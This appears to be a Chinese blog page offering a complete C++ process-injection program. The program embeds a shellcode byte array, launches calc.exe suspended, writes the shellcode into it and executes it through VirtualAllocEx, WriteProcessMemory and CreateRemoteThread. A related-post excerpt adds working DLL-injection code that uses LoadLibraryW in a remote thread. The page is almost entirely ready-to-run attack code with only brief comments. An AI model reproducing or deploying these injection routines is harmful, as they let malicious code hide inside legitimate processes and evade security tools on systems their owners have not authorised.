C++进程注入

// C++Injector.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <windows.h>
#include <stdio.h>

char shellcode[] = "\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
"\x49\x0b\x31\xc0\x51\x50\xff\xd7";


BOOL injection()
{
	wchar_t Cappname[MAX_PATH] = { 0 };
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	LPVOID lpMalwareBaseAddr;
	LPVOID lpnewVictimBaseAddr;
	HANDLE hThread;
	DWORD dwExitCode;
	BOOL bRet = FALSE;

	lpMalwareBaseAddr = shellcode;

	//获取计算器的地址,接下来将启动一个计算器
	GetSystemDirectory(Cappname, MAX_PATH);
	_tcscat(Cappname, L"\\calc.exe");
	printf("Injection program Name:%S\r\n", Cappname);

	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);
	ZeroMemory(&pi, sizeof(pi));

	//创建计算器
	if (CreateProcess(Cappname, NULL, NULL, NULL,
		FALSE, CREATE_SUSPENDED
		, NULL, NULL, &si, &pi) == 0)
	{
		return bRet;
	}

	//开辟内存空间大小
	lpnewVictimBaseAddr = VirtualAllocEx(pi.hProcess
		, NULL, sizeof(shellcode) + 1, MEM_COMMIT | MEM_RESERVE,
		PAGE_EXECUTE_READWRITE);

	if (lpnewVictimBaseAddr == NULL)
	{
		return bRet;
	}

	//将SHELLCODE写入
	WriteProcessMemory(pi.hProcess, lpnewVictimBaseAddr,
		(LPVOID)lpMalwareBaseAddr, sizeof(shellcode) + 1, NULL);

	//创建线程
	hThread = CreateRemoteThread(pi.hProcess, 0, 0,
		(LPTHREAD_START_ROUTINE)lpnewVictimBaseAddr, NULL, 0, NULL);

	//等待结束进程
	WaitForSingleObject(pi.hThread, INFINITE);
	GetExitCodeProcess(pi.hProcess, &dwExitCode);
	TerminateProcess(pi.hProcess, 0);
	return bRet;
}

void help(char* proc)
{
	printf("%s:[-] start a process and injection shellcode to memory\r\n", proc);
}

int main(int argc, char* argv[])
{
	help(argv[0]);
	injection();
}

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
进程注入自己的dll 带有测试dll 路径和要注入的程序可以自己改 hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD| //允许远程创建线程 PROCESS_VM_OPERATION | //VM操作 PROCESS_VM_WRITE , //允许写 FALSE,dwProcessID); if(!hRemoteProcess) AfxMessageBox(L"无法打开目标进程"); // KillTimer(m_ntime); //计算DLL路径需要多大内存 int cb=(1+lstrlenW(pszLibFile))*sizeof(WCHAR); //使用VirtualAllocEx函数在远程进程的内存地址空间分配DLL文件名缓冲区 pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,MEM_COMMIT,PAGE_READWRITE); if(pszLibFileRemote==NULL) { AfxMessageBox(L"建立内存失败"); CloseHandle(hRemoteProcess); return; } //使用WriteProcessMemory函数将DLL的路径名复制到远程进程的内存空间 BOOL iReturnCode=WriteProcessMemory (hRemoteProcess,pszLibFileRemote,(PVOID)pszLibFile,cb,NULL); if(!iReturnCode) { AfxMessageBox(L"写入错误"); VirtualFreeEx(hRemoteProcess,NULL,0,MEM_RELEASE); CloseHandle(hRemoteThread); CloseHandle(hRemoteProcess); return; } //计算loadlibraryW入口地址 HMODULE hModule=LoadLibrary(L"C:\\WINDOWS\\system32\\kernel32"); PTHREAD_START_ROUTINE pfnStartAddr=( PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")),"LoadLibraryW"); hRemoteThread=CreateRemoteThread(hRemoteProcess,NULL,0,pfnStartAddr,pszLibFileRemote,0,NULL); if(hRemoteThread==NULL) { //等待线程结束 WaitForSingleObject(hRemoteThread,INFINITE); DWORD RetV; if(GetExitCodeThread(hRemoteThread,&RetV)) CloseHandle(hRemoteThread);

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值